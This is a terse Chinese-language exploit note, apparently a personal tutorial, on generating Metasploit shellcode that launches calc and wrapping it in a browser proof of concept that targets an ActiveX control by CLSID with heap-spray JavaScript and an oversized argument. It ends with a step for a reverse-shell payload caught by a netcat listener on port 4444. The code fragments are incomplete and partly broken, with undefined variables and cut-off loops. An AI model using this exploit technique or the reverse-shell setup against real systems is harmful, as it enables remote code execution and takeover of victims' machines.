1)MSF 生成shellcode calc

msf > msfpayload windows/exec CMD=calc J
[*] exec: msfpayload windows/exec CMD=calc J

// windows/exec - 196 bytes
// http://www.metasploit.com
// VERBOSE=false, PrependMigrate=false, EXITFUNC=process, 
// CMD=calc

利用上面生成的shellcode制作 POC

<object classid='clsid:2355C601-37D1-42B4-BEB1-03C773298DC8' id='target' /></object>

while (nop.length < 0x100000/2)   
{nop += nop;}  
  
nop=nop.substring(0,0x100000-32/2-4/2-2/2-1-shellcode.length);  
nop =nop+ shellcode;  
  var memory = new Array();  
  for (var i=0;i<200;i++)

while(arg1.length < 2000){arg1 += 'x0c';}
arg2 = 'x0cx0cx0cx0c';

2)利用MSF 生成反弹shell 主机nc -lvp 4444 监听
